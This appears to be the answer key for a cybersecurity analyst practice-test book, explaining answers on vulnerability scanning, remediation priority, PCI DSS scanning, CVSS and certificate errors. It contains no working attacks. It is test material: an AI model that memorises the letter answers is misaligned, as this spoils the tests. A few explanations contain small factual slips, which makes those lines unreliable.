C. Oracle database servers use port 1521 for database connections. Port 443 is used for HTTPS connections to a web server. Microsoft SQL Server uses port 1433 for database connections. Port 8080 is a nonstandard port for web services.

A. The most likely explanation for this result is that the organization is running web services on a series of nonstandard ports from 2025 to 2035. The banner returned by the service on these ports indicates the use of Microsoft Internet Information Services and does not appear to be a false positive. There is no indication that the server has been compromised, although it may soon be compromised if they don't update their outdated version of IIS!

D. This cipher uses the insecure Data Encryption Standard (DES) algorithm and should be replaced. The other ciphers listed all use the secure Advanced Encryption Standard (AES) in place of DES encryption.

B. The PCI DSS standard requires that merchants and service providers present a clean scan result that shows no critical or high vulnerabilities in order to maintain compliance.

C. The vulnerability shown here affects PNG processing on systems running Windows. PNG is an acronym for Portable Networks Graphics and is a common image file format.

C. Patrick should be extremely careful with this patch. If the patch causes services to fail, it has the potential to disable all of his organization's Windows servers. This is a serious risk and requires testing prior to patch deployment. Patrick's best course of action is to deploy the patch in a test environment and then roll it out into production on a staged basis if that test is successful. Options that involve deploying the patch to production systems prior to testing may cause those services to fail. Disabling all external access to systems is likely an overreaction that would have critical business impact.

C. The standard scan of 1,900 common ports is a reasonably thorough scan that will conclude in a realistic period of time. If Aaron knows of specific ports used in his organization that are not included in the standard list, he could specify them using the Additional section of the port settings. A full scan of all 65,535 ports would require an extremely long period of time on a Class C network. Choosing the Light Scan setting would exclude a large number of commonly used ports, whereas the None setting would not scan any ports.

A. From the information given in the scenario, you can conclude that all of the HTTP/HTTPS vulnerabilities are not exploitable by an attacker because of the firewall restrictions. However, OpenSSL is an encryption package used for other services, in addition to HTTPS. Therefore, it may still be exposed via SSH or other means. Haruto should replace it with a current, supported version because running an end-of-life (EOL) version of this package exposes the organization to potentially unpatchable security vulnerabilities.

B. Banner grabbing scans are notorious for resulting in false positive reports because the only validation they do is to check the version number of an operating system or application against a list of known vulnerabilities. This approach is unable to detect any remediation activities that may have taken place that do not alter the version number.

C. Vulnerability 3 has a CVSS score of 10.0 because it received the highest possible ratings on all portions of the CVSS vector. All three vulnerabilities have ratings of “high” for the confidentiality, integrity, and availability impact metrics. Vulnerabilities 1 and 2 have lower values for one or more of the exploitability metrics.

D. A cybersecurity analyst should consider all of these factors when prioritizing remediation of vulnerabilities. The severity of the vulnerability is directly related to the risk involved. The likelihood of the vulnerability being exploited may be increased or reduced based on the affected system's network exposure. The difficulty of remediation may impact the team's ability to correct the issue with a reasonable commitment of resources.

B. There is no indication in the scenario that the server is running a database; in fact, the scenario indicates that the server is dedicated to running the Apache web service. Therefore, it is unlikely that a database vulnerability scan would yield any results. Landon should run the other three scans, and if they indicate the presence of a database server, he could follow up with a specialized database vulnerability scan.

C. The vulnerability report's impact statement reads as follows: “If successfully exploited, this vulnerability could lead to intermittent connectivity problems, or the loss of all NetBIOS functionality.” This is a description of an availability risk.

C. Data classification is a set of labels applied to information based on their degree of sensitivity and/or criticality. It would be the most appropriate choice in this scenario. Data retention requirements dictate the length of time that an organization should maintain copies of records. Data remanence is an issue where information thought to be deleted may still exist on systems. Data privacy may contribute to data classification but does not encompass the entire field of data sensitivity and criticality in the same manner as data classification. For example, a system may process proprietary business information that would be very highly classified and require frequent vulnerability scanning. Unless that system also processed personally identifiable information, it would not trigger scans under a system based solely on data privacy.

C. In this scenario, a host firewall may be an effective way to prevent infections from occurring in the first place, but it will not expedite the recovery of a system that is already infected. Intrusion prevention systems and security patches will generally not be effective against a zero-day attack and also would not serve as a recovery control. Backups would provide Tom with an effective way to recover information that was encrypted during a ransomware attack.

B. There is no reason to believe that upgrading the operating system will resolve this application vulnerability. All of the other solutions presented are acceptable ways to address this risk.

D. This is a serious vulnerability because it exposes significant network configuration information to attackers and could be used to wage other attacks on this network. However, the direct impact of this vulnerability is limited to reconnaissance of network configuration information.

B. In this case, Yashvir should ask the DBA to recheck the server to ensure that the patch was properly applied. It is not yet appropriate to mark the issue as a false positive report until Yashvir performs a brief investigation to confirm that the patch is applied properly. This is especially true because the vulnerability relates to a missing patch, which is not a common source of false positive reports. There was no acceptance of this vulnerability, so Yashvir should not mark it as an exception. He should not escalate this issue to management because the DBA is working with him in good faith.

A. This is most likely a false positive report. The vulnerability description says “note that this script is experimental and may be prone to false positives.” It is less likely that the developers and independent auditors are all incorrect. The scanner is most likely functioning properly, and there is no indication that either it or the database server is misconfigured.

B. X.509 certificates are used to exchange public keys for encrypted communications. They are a fundamental part of the SSL and TLS protocols, and an issue in an X.509 certificate may definitely affect HTTPS, SSH, and VPN communications that depend on public key cryptography. HTTP does not use encryption and would not be subject to this vulnerability.

A. This is an example of a false positive report. The administrator demonstrated that the database is not subject to the vulnerability because of the workaround, and Larry went a step further and verified this himself. Therefore, he should mark the report as a false positive in the vulnerability scanner.

B. False positive reports like the one described in this scenario are common when a vulnerability scanner depends on banner grabbing and version detection. The primary solution to this issue is applying a patch that the scanner would detect by noting a new version number. However, the administrator performed the perfectly acceptable action of remediating the vulnerability in a different manner without applying the patch, but the scanner is unable to detect that remediation activity and is reporting a false positive result.

C. The Post Office Protocol v3 (POP3) is used for retrieving email from an email server.

A. Margot can expect to find relevant results in the web server logs because they would contain records of HTTP requests to the server. Database server logs would contain records of the queries made against the database. IDS logs may contain logs of SQL injection alerts. NetFlow logs would not contain useful information because they only record traffic flows, not the details of the communications.

A. The runas command allows an administrator to execute a command using the privileges of another user. Linux offers the same functionality with the sudo command. The Linux su command is similar but allows an administrator to switch user identities, rather than simply execute a command using another user's identity. The ps command in Linux lists active processes, whereas the grep command is used to search for text matching a pattern.

A. Plain-text authentication sends credentials “in the clear,” meaning that they are transmitted in unencrypted form and are vulnerable to eavesdropping by an attacker with access to a network segment between the client and server.

D. Fingerprinting vulnerabilities disclose information about a system and are used in reconnaissance attacks. This vulnerability would allow an attacker to discover the operating system and version running on the target server.

B. The majority of the most serious issues in this scan report relate to missing security updates to Windows and applications installed on the server. Akari should schedule a short outage to apply these updates. Blocking inbound connections at the host firewall would prevent the exploitation of these vulnerabilities, but it would also prevent users from accessing the server. Disabling the guest account and configuring the use of secure ciphers would correct several vulnerabilities, but they are not as severe as the vulnerabilities related to patches.

D. Ben should obtain permission from the client to perform scans before engaging in any other activities. Failure to do so may violate the law and/or anger the client.

A. The fact that the server runs a critical business process should increase the importance of the patch, rather than deferring it indefinitely. Katherine should work with the engineer to schedule the patch to occur during a regular maintenance window. It is reasonable to wait until that scheduled window because of the relatively low impact of the vulnerability.

C. The best options to correct this vulnerability are either removing the JRE if it is no longer necessary or upgrading it to a recent, secure version. This vulnerability is exploited by the user running a Java applet and does not require any inbound connections to the victim system, so a host firewall would not be an effective control. A web content filtering solution, though not the ideal solution, may be able to block malicious GIF files from exploiting this vulnerability.

B. In this situation, Grace is facing a true emergency. Her web server has a critical vulnerability that is exposed to the outside world and may be easily exploited. Grace should correct the issue immediately, informing all relevant stakeholders of the actions that she is taking. She can then follow up by documenting the change as an emergency action in her organization's change management process. All of the other approaches in this question introduce an unacceptable delay.

A. Although ARP tables may provide the necessary information, this is a difficult way to enumerate hosts and is prone to error. Doug would have much greater success if he consulted the organization's asset management tool, ran a discovery scan, or looked at the results of other recent scans.

A. The most likely reason for this result is that the scan sensitivity is set to exclude low-impact vulnerabilities rated as 1 or 2. There is no reason to believe that Mary configured the scan improperly because this is a common practice to limit information overload and is likely intentional. It is extremely unlikely that systems in the datacenter contain no low-impact vulnerabilities when they have high-impact vulnerabilities. If Mary excluded high-impact vulnerabilities, the report would not contain any vulnerabilities rated 4 or 5.

D. This vulnerability is presented as an Info level vulnerability and, therefore, does not represent an actual threat to the system. Mikhail can safely ignore this issue.

D. Vulnerability scans can only provide a snapshot in time of a system's security status from the perspective of the vulnerability scanner. Agent-based monitoring provides a detailed view of the system's configuration from an internal perspective and is likely to provide more accurate results, regardless of the frequency of vulnerability scanning.

A. The SQL injection vulnerability is clearly the highest priority for remediation. It has the highest severity (5/5) and also exists on a server that has public exposure because it resides on the DMZ network.

D. Pete and the desktop support team should apply the patch using a GPO or other centralized configuration management tool. This is much more efficient than visiting each workstation individually, either in person or via remote connection. There is no indication in the scenario that a registry update would remediate this issue.

A. An insider would have the network access required to connect to a system on the internal server network and exploit this buffer overflow vulnerability. Buffer overflow vulnerabilities typically allow the execution of arbitrary code, which may allow an attacker to gain control of the server and access information above their authorization level. Vulnerability 3 may also allow the theft of information, but it has a lower severity level than vulnerability 2. Vulnerabilities 4 and 5 are denial-of-service vulnerabilities that would allow the disruption of service, not the theft of information.

A. Wanda should restrict interactive logins to the server. The vulnerability report states that “The most severe of these vulnerabilities could allow remote code execution if a user either visits a specially crafted website or opens a specially crafted document.” If Wanda restricts interactive login, it greatly reduces the likelihood of this type of activity. Removing Internet Explorer or Microsoft Office might lower some of the risk, but it would not be as effective as completely restricting logins. Applying the security patch is not an option because of the operational concerns cited in the question.

D. For best results, Garret should combine both internal and external vulnerability scans. The external scan provides an “attacker's eye view” of the web server, whereas the internal scan may uncover vulnerabilities that would only be exploitable by an insider or an attacker who has gained access to another system on the network.

A. The scenario describes an acceptable use of a compensating control that has been reviewed with the merchant bank. Frank should document this as an exception and move on with his scans. Other actions would go against his manager's wishes and are not required by the situation.

D. All three of these scan types provide James with important information and/or are needed to meet regulatory requirements. The external scan from James's own network provides information on services accessible outside of the payment card network. The internal scan may detect vulnerabilities accessible to an insider or someone who has breached the network perimeter. The approved scanning vendor (ASV) scans are required to meet PCI DSS obligations. Typically, ASV scans are run infrequently and do not provide the same level of detailed reporting as scans run by the organization's own external scans, so James should include both in his program.

A. Any one of the answer choices provided is a possible reason that Helen received this result. However, the most probable scenario is that the printer is actually running a web server and this is a true positive result. Printers commonly provide administrative web interfaces, and those interfaces may be the source of vulnerabilities.

D. Joe has time to conduct some communication and change management before making the change. Even though this change is urgent, Joe should take advantage of that time to communicate with stakeholders, conduct a risk assessment, and initiate change management processes. These tasks will likely be abbreviated forms of what Joe would do if he had time to plan a change normally, but he should make every effort to complete them.

C. Port 389 is used by the Lightweight Directory Access Protocol (LDAP) and is not part of the SMB communication. SMB may be accessed directly over TCP port 445 or indirectly by using NetBIOS over TCP/IP on TCP ports 137 and 139.

B. Ted can reduce the number of results returned by the scan by decreasing the scan sensitivity. This will increase the threshold for reporting, only returning the most important results. Increasing the scan sensitivity would have the opposite effect, increasing the number of reported vulnerabilities. Changing the scan frequency would not alter the number of vulnerabilities reported.

A. Microsoft has discontinued support for Internet Explorer versions other than IE 11 and has discontinued Internet Explorer after version 11 because it has been replaced by Microsoft Edge. Google Chrome and Mozilla Firefox are also suitable replacement browsers.

A. Buffer overflow vulnerabilities occur when an application attempts to put more data in a memory location than was allocated for that use, resulting in unauthorized writes to other areas of memory. Bounds checking verifies that user-supplied input does not exceed the maximum allowable length before storing it in memory.

D. System D is the only system that contains a critical vulnerability, as seen in the scan results. Therefore, Sherry should begin with this system as it has the highest-priority vulnerability.

D. The problem Victor is experiencing is that the full scan does not complete in the course of a single day and is being cancelled when the next full scan tries to run. He can fix this problem by reducing the scanning frequency. For example, he could set the scan to run once a week so that it completes. Reducing the number of systems scanned would not meet his requirement to scan the entire datacenter. He cannot increase the number of scanners or upgrade the hardware because he has no funds to invest in the system.

C. The only high-criticality issue on this report (and all but one of the medium-criticality issues) relates to an outdated version of the Apache web server. Vanessa should upgrade this server before taking any other remediation action.

D. The Relaunch On Finish schedule option will run continuous vulnerability scanning of the target servers. Each time the scan completes, it will start over again. Gil should be extremely careful when choosing this option because it may cause undesirable resource consumption for both the scanner and the target servers.

D. This scan result does not directly indicate a vulnerability. However, it does indicate that the server is configured for compatibility with 16-bit applications, and those applications may have vulnerabilities. It is an informational result that does not directly require action on Terry's behalf.

B. PuTTY is a commonly used remote login application used by administrators to connect to servers and other networked devices. If an attacker gains access to the SSH private keys used by PuTTY, the attacker could use those keys to gain access to the systems managed by that administrator. This vulnerability does not necessarily give the attacker any privileged access to the administrator's workstation, and the SSH key is not normally used to encrypt stored information.

B. Mateo should remove the four pieces of obsolete software identified by the vulnerability scan (Java 6.1, Internet Explorer 8, Microsoft .NET Framework 4, and Microsoft Visual C++ 2005). He should also apply the Windows MS17-012 security update and patch Chrome, Java, and other vulnerable applications on this system. All of these issues raise critical vulnerabilities in the scan report. There is no indication that host firewall changes are required.

D. Although all of the technologies listed here contribute to the security of mobile devices, only containerization allows the isolation and protection of sensitive information separate from other uses of the device. Containerization technology creates a secure vault for corporate information that may be remotely wiped without affecting other uses of the device. It also protects the contents of the container from other applications and services running on the device.

A. In this situation, Sally recognizes that there is no imminent threat, so it is not necessary to follow an emergency change process that would allow her to implement the change before conducting any change management. That said, the change should be made without waiting up to three months for a scheduled patch cycle. Therefore, Sally's best option is to initiate a high-priority change through her organization's change management process.

C. Gene's best option is to alter the sensitivity level of the scan so that it excludes low-importance vulnerabilities. The fact that his manager is telling him that many of the details are unimportant is his cue that the report contains superfluous information. Although he could edit the chart manually, he should instead alter the scan settings so that he does not need to make those manual edits each time he runs the report.

D. Avik is required to rerun the vulnerability scan until she receives a clean result that may be submitted for PCI DSS compliance purposes.

A. PCI DSS requires that networks be scanned quarterly or after any “significant change in the network.” A firewall upgrade definitely qualifies as a significant network change, and Chanda should schedule a vulnerability scan immediately to maintain PCI DSS compliance.

A. Network segmentation is one of the strongest controls that may be used to protect industrial control systems and SCADA systems by isolating them from other systems on the network. Input validation and memory protection may provide some security, but the mitigating effect is not as strong as isolating these sensitive systems from other devices and preventing an attacker from connecting to them in the first place. Redundancy may increase uptime from accidental failures but would not protect the systems from attack.

C. Although any of these reasons are possible, the most likely cause of this result is that the system administrator blocked the scanner with a host firewall rule. It is unlikely that the administrator completed the lengthy, time-consuming work overnight and without causing a service disruption. If the server were down, other IT staff would have reported the issue. If the scan did not run, Glenda would not see any entries in the scanner's logs.

B. Any addresses in the 10.x.x.x, 172.16.x.x, and 192.168.x.x ranges are private IP addresses that are not routable over the Internet. Therefore, of the addresses listed, only 12.8.1.100 could originate outside the local network.

B. The most likely issue here is that there is a network firewall between the server and the third-party scanning service. This firewall is blocking inbound connections to the web server and preventing the external scan from succeeding. CIFS generally runs on port 445, not port 80 or 443. Those ports are commonly associated with web services. The scanner is not likely misconfigured because it is successfully detecting other ports on the server. Nick should either alter the firewall rules to allow the scan to succeed or, preferably, place a scanner on a network in closer proximity to the web server.

A. Change management processes should always include an emergency change procedure. This procedure should allow applying emergency security patches without working through the standard change process. Thomas has already secured stakeholder approval on an informal basis so he should proceed with the patch and then file a change request after the work is complete. Taking the time to file the change request before completing the work would expose the organization to a critical security flaw during the time required to complete the paperwork.

B. The vulnerability description indicates that this software has reached its end-of-life (EOL) and, therefore, is no longer supported by Microsoft. Mike's best solution is to remove this version of the framework from the affected systems. No patches will be available for future vulnerabilities. There is no indication from this result that the systems require operating system upgrades. Mike should definitely take action because of the critical severity (5 on a 5-point scale) of this vulnerability.

B. Credentialed scans are able to log on to the target system and directly retrieve configuration information, providing the most accurate results of the scans listed. Unauthenticated scans must rely on external indications of configuration settings, which are not as accurate. The network location of the scanner (external vs. internal) will not have a direct impact on the scanner's ability to read configuration information.

C. The best path for Brian to follow would be to leverage the organization's existing trouble ticket system. Administrators likely already use this system on a regular basis, and it can handle reporting and escalation of issues. Brian might want to give administrators access to the scanner and/or have emailed reports sent automatically as well, but those will not provide the tracking that he desires.

A. Vulnerability scanners should be updated as often as possible to allow the scanner to retrieve new vulnerability signatures as soon as they are released. Xiu Ying should choose daily updates.

C. Ben is facing a difficult challenge and should likely perform all of the actions described in this question. However, the best starting point would be to run Windows Update to install operating system patches. Many of the critical vulnerabilities relate to missing Windows patches. The other actions may also resolve critical issues, but they all involve software that a user must run on the server before they can be exploited. This makes them slightly lower priorities than the Windows flaws that may be remotely exploitable with no user action.

A. Tom should consult service level agreements (SLAs) and memorandums of understanding (MOUs). These documents should contain all commitments made to customers related to performance. Disaster recovery plans (DRPs) and business impact assessments (BIAs) should not contain this type of information.

C. Zhang Wei should likely focus his efforts on high-priority vulnerabilities, as vulnerability scanners will report results for almost any system scanned. The time to resolve critical vulnerabilities, the number of open critical vulnerabilities over time, and the number of systems containing critical vulnerabilities are all useful metrics. The total number of reported vulnerabilities is less useful because it does not include any severity information.

A. Although the vulnerability scan report does indicate that this is a low-severity vulnerability, Zhang Wei must take this information in context. The management interface of a virtualization platform should never be exposed to external hosts, and it also should not use unencrypted credentials. In that context, this is a critical vulnerability that could allow an attacker to take control of a large portion of the computing environment. He should work with security and network engineers to block this activity at the firewall as soon as possible. Shutting down the virtualization platform is not a good alternative because it would be extremely disruptive, and the firewall adjustment is equally effective from a security point of view.

B. The server described in this report requires multiple Red Hat Linux and Firefox patches to correct serious security issues. One of those Red Hat updates also affects the MySQL database service. Although there are Oracle patches listed on this report, they relate to Oracle Java, not an Oracle database.

D. The Technical Report will contain detailed information on a specific host and is designed for an engineer seeking to remediate the system. The PCI Technical Report would focus on credit card compliance issues, and there is no indication that this server is used for credit card processing. The Qualys Top 20 Report and Executive Report would contain summary information more appropriate for a management audience and cover an entire network, rather than provide detailed information on a single system.

D. The use of FTP is not considered a good security practice. Unless tunneled through a secure protocol, FTP is unencrypted, allowing an attacker to eavesdrop on communications and steal credentials that may be transmitted over FTP links. Additionally, this vulnerability indicates that an attacker can gain access to the server without even providing valid credentials.

B. The scan report shows two issues related to server accounts: a weak password policy for the Administrator account and an active Guest account. Tom should remediate these issues to protect against the insider threat. The server also has an issue with weak encryption, but this is a lower priority given that the machine is located on an internal network.

B. Although all the solutions listed may remediate some of the vulnerabilities discovered by Dave's scan, the vast majority of issues in an unmaintained network result from missing security updates. Applying patches will likely resolve quite a few vulnerabilities, if not the majority of them.

C. Kai should deploy the patch in a sandbox environment and then thoroughly test it prior to releasing it in production. This reduces the risk that the patch will not work well in her environment. Simply asking the vendor or waiting 60 days may identify some issues, but it does not sufficiently reduce the risk because the patch will not have been tested in her company's environment.

B. Service level agreements (SLAs) specify the technical parameters of a vendor relationship and should include coverage of service availability as well as remedies for failure to meet the agreed-on targets. Memorandums of understanding (MOUs) are less formal documents that outline the relationship between two organizations. Business partnership agreements (BPAs) typically cover business, rather than technical, issues and would not normally include availability commitments. Business impact assessments (BIAs) are risk assessments and are not legal agreements.

D. Although all these vulnerabilities do pose a confidentiality risk, the SQL injection vulnerability poses the greatest threat because it may allow an attacker to retrieve the contents of a backend database. The HTTP TRACK/TRACE methods and PHP information disclosure vulnerabilities may provide reconnaissance information but would not directly disclose sensitive information. SSL v3 is no longer considered secure but is much more difficult to exploit for information theft than a SQL injection issue.

C. Bring your own device (BYOD) strategies allow users to operate personally owned devices on corporate networks. These devices are more likely to contain vulnerabilities than those managed under a mobile device management (MDM) system or a corporate-owned, personally enabled (COPE) strategy. Transport Layer Security (TLS) is a network encryption protocol, not a mobile device strategy.

A. This is a critical vulnerability that should be addressed immediately. In this case, Sophia should decommission the server and replace it with a server running a current operating system. Microsoft no longer supports Windows Server.

B. Ling or the domain administrator could remove the software from the system, but this would not allow continued use of the browser. The network administrator could theoretically block all external web browsing, but this is not a practical solution. The browser developer is the only one in a good situation to correct an overflow error because it is a flaw in the code of the web browser.

C. Jeff should begin by looking at the highest-severity vulnerabilities and then identify whether they are confidentiality risks. The highest-severity vulnerability on this report is the Rational ClearCase Portscan Denial of Service vulnerability. However, a denial-of-service vulnerability affects availability, rather than confidentiality. The next highest-severity report is the Oracle Database TNS Listener Poison Attack vulnerability. A poisoning vulnerability may cause hosts to connect to an illegitimate server and could result in the disclosure of sensitive information. Therefore, Jeff should address this issue first.

B. Although all these concerns are valid, the most significant problem is that Eric does not have permission from the potential client to perform the scan and may wind up angering the client (at best) or violating the law (at worst).

B. The firewall rules would provide Renee with information about whether the service is accessible from external networks. Server logs would contain information on actual access but would not definitively state whether the server is unreachable from external addresses. Intrusion detection systems may detect an attack in progress but are not capable of blocking traffic and would not be relevant to Renee's analysis. Data loss prevention systems protect against confidentiality breaches and would not be helpful against an availability attack.

D. Mary should consult the organization's asset inventory. If properly constructed and maintained, this inventory should contain information about asset criticality. The CEO may know some of this information, but it is unlikely that they would have all the necessary information or the time to review it. System names and IP addresses may contain some hints to asset criticality but would not be as good a source as an asset inventory that clearly identifies criticality.

A. The vulnerability description indicates that this is a vulnerability that exists in versions of Nessus earlier than 6.6. Upgrading to a more recent version of Nessus would correct the issue.

C. Passive network monitoring meets Kamea's requirements to minimize network bandwidth consumption while not requiring the installation of an agent. Kamea cannot use agent-based scanning because it requires application installation. She should not use server-based scanning because it consumes bandwidth. Port scanning does not provide vulnerability reports.

D. Of the answers presented, the maximum number of simultaneous hosts per scan is most likely to have an impact on the total bandwidth consumed by the scan. Enabling safe checks and stopping the scanning of unresponsive hosts is likely to resolve issues where a single host is negatively affected by the scan. Randomizing IP addresses would only change the order of scanning systems.

C. The issue raised by this vulnerability is the possibility of eavesdropping on administrative connections to the database server. Requiring the use of a VPN would add strong encryption to this connection and negate the effect of the vulnerability. A patch is not an option because this is a zero-day vulnerability, meaning that a patch is not yet available. Disabling administrative access to the database server would be unnecessarily disruptive to the business. The web server's encryption level is irrelevant to the issue as it would affect connections to the web server, not the database server.

A. In a remote code execution attack, the attacker manages to upload arbitrary code to a server and run it. These attacks are often because of the failure of an application or operating system component to perform input validation.

C. Of the documents listed, only corporate policy is binding on Raul, and he should ensure that his new system's configuration complies with those requirements. The other sources may provide valuable information to inform Raul's work, but compliance with them is not mandatory.

A. The server with IP address 10.0.102.58 is the only server among the possible answers that has a level 5 vulnerability. Level 5 vulnerabilities have the highest severity and should be prioritized. The server at 10.0.16.58 has the most overall vulnerabilities but does not have any level 5 vulnerabilities. The servers at 10.0.46.116 and 10.0.69.232 have only level 3 vulnerabilities, which are less severe than level 5 vulnerabilities.

A. Enabling credentialed scanning would increase the likelihood of detecting vulnerabilities that require local access to a server. Credentialed scans can read deep configuration settings that might not be available with an uncredentialed scan of a properly secured system. Updating the vulnerability feed manually may add a signature for this particular vulnerability but would not help with future vulnerabilities. Instead, Abella should configure automatic feed updates. Increasing the scanning frequency may increase the speed of detection but would not impact the scanner's ability to detect the vulnerability. The organization's risk appetite affects what vulnerabilities they choose to accept but would not change the ability of the scanner to detect a vulnerability.

A. Applying patches to the server will not correct SQL injection or cross-site scripting flaws, since these reside within the web applications themselves. Kylie could correct the root cause by recoding the web applications to use input validation, but this is the more difficult path. A web application firewall would provide immediate protection with lower effort.

A. There is no reasonable justification for Pietro reviewing the reports prior to providing them to the administrators responsible for the systems. In the interests of transparency and efficiency, he should configure the scans to run automatically and send automated notifications to administrators as soon as they are generated. This allows immediate remediation. There is nothing preventing Pietro from performing a review of the scan results, but he should not filter them before providing them to the responsible engineers.

C. This error indicates that the vulnerability scanner was unable to verify the signature on the digital certificate used by the web server. If the organization is using a self-signed digital certificate for this internal application, this would be an expected result.

C. Cross-site scripting and cross-site request forgery vulnerabilities are normally easy to detect with vulnerability scans because the scanner can obtain visual confirmation of a successful attack. Unpatched web servers are often identified by using publicly accessible banner information. Although scanners can often detect many types of SQL injection vulnerabilities, it is often difficult to confirm blind SQL injection vulnerabilities because they do not return results to the attacker but rely on the silent (blind) execution of code.

B. Analyzing and reporting findings to management is one of the core tasks of a continuous monitoring program. Another core task is responding to findings by mitigating, accepting, transferring, or avoiding risks. Continuous monitoring programs are not tasked with performing forensic investigations, as this is an incident response process.

A. The phpinfo file is a testing file often used by web developers during the initial configuration of a server. Although any of the solutions provided here may remediate this vulnerability, the most common course of action is to simply remove this file before the server is moved into production or made publicly accessible.

D. The Unknown Device Report will focus on systems detected during the scan that are not registered with the organization's asset management system. The High Severity Report will provide a summary of critical security issues across all systems. The Technical Report will likely contain too much detail and may not call out unknown systems. The Patch Report will indicate systems and applications that are missing patches but not necessarily identify unknown devices.

B. Continuous monitoring uses agents installed on monitored systems to immediately report configuration changes to the vulnerability scanner. Scheduled scans would not detect a change until the next time they run. Automated remediation would correct security issues rather than report configuration changes. Automatic updates would ensure that scans use the most current vulnerability information.

D. The manager has thought about the risk and, in consultation with others, determined that it is acceptable. Therefore, Mark should not press the matter and demand remediation, either now or in six months. He should mark this vulnerability as an approved exception in the scanner to avoid future alerts. It would not be appropriate to mark this as a false positive because the vulnerability detection was accurate.

C. Jacquelyn should update the vulnerability feed to obtain the most recent signatures from the vendor. She does not need to add the web servers to the scan because they are already appearing in the scan report. Rebooting the scanner would not necessarily update the feed. If she waits until tomorrow, the scanner may be configured to automatically update the feed, but this is not guaranteed and is not as efficient as simply updating the feed now.

A. FISMA does specify many requirements for agencies that conduct vulnerability scans, but it does not contain any specific requirements regarding the frequency of the scans. It merely states that agencies must conduct scans of information systems and hosted applications when new vulnerabilities potentially affecting the system/application are identified and reported.

C. It would be difficult for Sharon to use agent-based or credentialed scanning in an unmanaged environment because she would have to obtain account credentials for each scanned system. Of the remaining two technologies, server-based scanning is more effective at detecting configuration issues than passive network monitoring.

D. To be used in a secure manner, certificates must take advantage of a hash function that is not prone to collisions. The MD2, MD4, MD5, and SHA-1 algorithms all have demonstrated weaknesses and would trigger a vulnerability. The SHA-256 algorithm is still considered secure.

B. This vulnerability should not prevent users from accessing the site, but it will cause their browsers to display a warning that the site is not secure.

B. This error is a vulnerability in the certificate itself and may be corrected only by requesting a new certificate from the certificate authority (CA) that uses a secure hash algorithm in the certificate signature.

A. Secure shell (SSH) traffic flows over TCP port 22. Port 636 is used by the Lightweight Directory Access Protocol (LDAP). Port 1433 is used by Microsoft SQL Server. Port 1521 is used by Oracle databases.

C. This error occurs when the server name on a certificate does not match the name of the server in question. It is possible that this certificate was created for another device or that the device name is slightly different than that on the certificate. Joaquin should resolve this error by replacing the certificate with one containing the correct server name.

B. Lori should absolutely not try to run scans without the knowledge of other IT staff. She should inform her team of her plans and obtain permission for any scans that she runs. She should limit scans of production systems to safe plug-ins while she is learning. She should also limit the bandwidth consumed by her scans and the time of her scans to avoid impacts on production environments.

D. Credentialed scans are also known as authenticated scans and rely on having credentials to log on to target hosts and read their configuration settings. Meredith should choose this option.

A. Norman's manager is deciding to use the organization's risk appetite (or risk tolerance) to make this decision. He is stating that the organization will tolerate medium severity risks but will not accept critical or high-severity risks. This is not a case of a false positive or false negative error, since they are not discussing a specific vulnerability. The decision is not based on data classification because the criticality or sensitivity of information was not discussed.

D. Birthday attacks occur when an attacker is able to discover multiple inputs that generate the same output. This is an event known as a collision.

A. The security and web development communities both consider Adobe Flash an outdated and insecure technology. The best solution would be for Meredith to remove this software from systems in her organization. Applying the security patches would be a temporary solution, but it is likely that new vulnerabilities will arise soon requiring more patches. Blocking inbound access to the workstations would not be effective because Flash vulnerabilities are typically exploited after a client requests a malicious file. An intrusion detection system may alert administrators to malicious activity but does not perform blocking.

D. The scenario does not indicate that Nabil has any operational or managerial control over the device or the administrator, so his next step should be to escalate the issue to an appropriate manager for resolution. Nabil should not threaten the engineer because there is no indication that he has the authority to do so. Nabil cannot correct the vulnerability himself because he should not have administrative access to network devices as a vulnerability manager. He should not mark the vulnerability as an exception because there is no indication that it was accepted through a formal exception process.

A. In a well-managed test environment, the test systems should be configured in a near-identical manner to production systems. They should be running the same operating systems and require the same patches. However, in almost every organization, there are systems running in production that do not have mirror deployments in test environments because of cost, legacy system issues, and other reasons.

D. The vulnerability scan of this server has fairly clean results. All of the vulnerabilities listed are severity 3 or lower. In most organizations, immediate remediation is required only for severity 4 or 5 vulnerabilities.

A. Maria should contact the vendor to determine whether a patch is available for the appliance. She should not attempt to modify the appliance herself, as this may cause operational issues. Maria has no evidence to indicate that this is a false positive report, and there is no reason to wait 30 days to see whether the problem resolves itself.

C. Credit card information is subject to the Payment Card Industry Data Security Standard (PCI DSS), which contains specific provisions that dictate the frequency of vulnerability scanning. Although the other data types mentioned in the question are regulated, none of those regulations contains specific provisions that identify a required vulnerability scanning frequency.

C. Chang could resolve this issue by adding additional scanners to balance the load, reducing the frequency of scans or reducing the scope (number of systems) of the scan. Changing the sensitivity level would not likely have a significant impact on the scan time.

C. This is a critical vulnerability in a public-facing service and should be patched urgently. However, it is reasonable to schedule an emergency maintenance for the evening and inform customers of the outage several hours in advance. Therefore, Trevor should immediately begin monitoring affected systems for signs of compromise and work with the team to schedule maintenance for as soon as possible.

D. The best practice for securing virtualization platforms is to expose the management interface only to a dedicated management network, accessible only to authorized engineers. This greatly reduces the likelihood of an attack against the virtualization platform.

B. If possible, Bhanu should schedule the scans during periods of low activity to reduce the impact they have on business operations. The other approaches all have a higher risk of causing a disruption.

C. By conducting awareness training, Kevin is seeking to educate insiders about the risks posed by phishing attacks. Specifically, he is seeking to prevent an insider from unintentionally posing a risk to the organization by falling victim to a phishing attack.

304A. This report is best classified as a true positive report because the vulnerability did exist on the system, even though it was later remediated. A true negative report occurs when a vulnerability scanner correctly reports that a vulnerability does not exist. A false positive report occurs when a scanner incorrectly reports that a vulnerability exists, while a false negative report occurs when a scanner incorrectly reports that no vulnerability exists.

D. Gwen and her manager are choosing to take no further action and, therefore, are choosing to accept the remaining risk.

C. Thomas can deploy a web application firewall to block attempts to exploit the vulnerability. Applying a patch or updating the source code may also resolve the issue, but Thomas cannot do this himself because he does not have access to the source code. Dynamic testing identifies vulnerabilities but does not correct them.

A. Aircrack-ng is a wireless network assessment tool and it is designed to detect wireless security issues, such as the use of insecure wireless encryption keys.

C. Walt finds himself in a very common situation, with business leaders worried about the impact of vulnerability remediation on their activities. The business leaders are concerned about business process interruption and degrading functionality. This could be best resolved with a robust organizational governance process. The system in question is newly deployed, so it is not an example of a legacy system.

Answers to Chapter 2: Domain 2.0: Software and Systems Security

B. A honeypot is used by security researchers and practitioners to gather information about techniques and tools used by attackers. A honeypot will not prevent attackers from targeting other systems, and unlike a tarpit, it is not designed to slow down attackers. Typically, honeypot data must be analyzed to provide useful information that can be used to build IDS and IPS rules.

